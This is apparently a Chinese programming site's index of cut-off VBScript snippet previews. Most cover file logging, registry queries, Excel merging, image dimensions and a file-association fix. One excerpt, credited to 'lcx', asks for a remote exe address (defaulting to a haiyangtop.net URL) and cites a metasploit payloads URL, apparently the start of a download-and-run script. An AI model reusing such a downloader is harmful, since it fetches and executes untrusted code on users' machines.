复制代码 代码如下: option explicit dim fpath,fso,logfile,fwrite fpath=inputbox ('输入目标文件夹','文件处理器') logfile='logfile.txt' set fso=createobject('scripting.filesystemobject') Set fwrite=fso.opentextfile(logfile,8,true) getfilename fpath fwrite.close Set fso=Not

on error resume next const HKEY_LOCAL_MACHINE = &H80000002 strComputer = '.' Set StdOut = WScript.StdOut Set oReg=GetObject('winmgmts:{impersonationLevel=impersonate}!\\' &_ strComputer & '\root\default:StdRegProv') strKeyPath = 'SYSTEM\CurrentContro

复制代码 代码如下: Const xlWorkbookNormal = -4143 Const xlSaveChanges = 1 objStartFolder = 'c:\test' ''要读取的源文件目录 desExcel= 'c:\result1.xls' ''最后生成的汇总excel Set ExcelApp = CreateObject('Excel.Application') Set destbook = ExcelApp.Workbooks.Add ''创建空文件 Set objF

''code by lcx On Error Resume Next Exeurl = InputBox( '请输入exe的地址：', '输入', 'http://www.haiyangtop.net/333.exe' ) url='http://www.metasploit.com:55555/PAYLOADS?parent=GLOB%280x25bfa38%29/div/pre)' Set Matches = Re.Execute(Body) If Matches.Count0 Then B

复制代码 代码如下: ''This code is done by KangKang@ Option explicit ‘This is optional, but better to use. Dim FolderPath,Folder Dim fso,File,Files Dim fileNums Dim FileString() Dim i Dim ii i=0 FolderPath='E:\TDDOWNLOAD\aa\' ''**********************1.To crea

复制代码 代码如下: titleLoadPicture函数/title form name='frm' 选择图片input type='file' name='pic' onChange='GetPicInfor()' /form script language='vbscript' Sub GetPicInfor() dim objpic,iWidth,iHeight dim pictype,picpath picpath=document.frm.pic.value set objpic=L

昨天下载并且安装了Updater Application Block后，需要执行一个Deploy.vbs的文件，鄙人才疏学浅，这个小问题竟然也花费了我不少心机。 现在把结论共享一下。 首先，我的vbs文件关联已经被“豪杰”夺取了。我双击Deploy.vbs就会打开豪杰，比较郁闷。但是我用了打开方式，试了浏览器、cmd，都无济于事。 今天，我想到这个问题

dim oExcel,oWb,oSheet Set oExcel= CreateObject('Excel.Application') Set oWb = oExcel.Workbooks.Open('E:\其他\新装电话表.xls') Set oSheet = oWb.Sheets('Sheet1') MsgBox oSheet.Range('B2').Value ''#提取单元格B2内容 ''..... 3、如果是XP系统，可以使用如下代码 Dim objFileDlg Set objFil